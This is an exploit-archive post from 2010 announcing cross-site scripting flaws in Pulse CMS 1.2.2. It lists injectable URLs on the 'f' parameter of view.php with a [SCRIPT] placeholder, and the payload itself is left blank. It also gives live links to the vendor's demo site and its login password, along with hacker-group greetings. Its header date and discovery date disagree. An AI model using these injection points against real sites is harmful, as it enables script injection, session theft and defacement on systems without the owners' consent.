Pulse CMS 1.2.2 Cross Site Scripting

`  
  
# Exploit Title: Pulse cms XSS Vulnerabilities  
# Date: 19-02-2010  
# Author: Th3 RDX  
# Software Link: No Download Link  
# Version: 1.2.2  
# Tested on: Demo Site  
# category: webapp  
# Code :  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Team I.C.W | Team W.O.I | Andhra Hackers  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Gr33tz to all Indian Cyber Warriors , Wellwishers of India & Andhra Hackers  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
##############################################################################  
%//  
  
----- [ Founder ] -----  
  
Th3 RDX  
  
----- [ E - mail ] -----  
  
[email protected]  
  
  
%\\  
##############################################################################  
  
##############################################################################  
%//  
  
----- [Title] -----  
  
Pulse CMS XSS Vulnerabilities  
  
----- [ Vendor ] -----  
  
http://www.pulsecms.com/  
  
%\\  
##############################################################################  
  
##############################################################################  
%//  
  
----- [ Exploit (s) ] -----  
  
Put [SCRIPT] =   
  
[XSS] http://server/pulsecms/view.php?f=[SCRIPT]  
  
[XSS] http://server/pulsecms/view.php?f=blocks[SCRIPT]  
  
[XSS] http://server/pulsecms/view.php?f=blocks/About.html[SCRIPT]  
  
  
%\\  
##############################################################################  
  
##############################################################################  
%//  
  
>>>>>> TESTED ON <<<<<<  
  
----- [ Live Link (s) ] -----  
  
Password for Login is ( demo )  
  
[Link] http://www.pulsecms.com/demo/view.php?f=[SCRIPT]  
  
[Link] http://www.pulsecms.com/demo/view.php?f=blocks[SCRIPT]  
  
[Link] http://www.pulsecms.com/demo/view.php?f=blocks/About.html[SCRIPT]  
  
%\\  
##############################################################################  
  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Thanks To All: I.C.W + W.O.I + AH Members  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Bug discovered : 19 March 2010  
  
finish(0);  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
  
`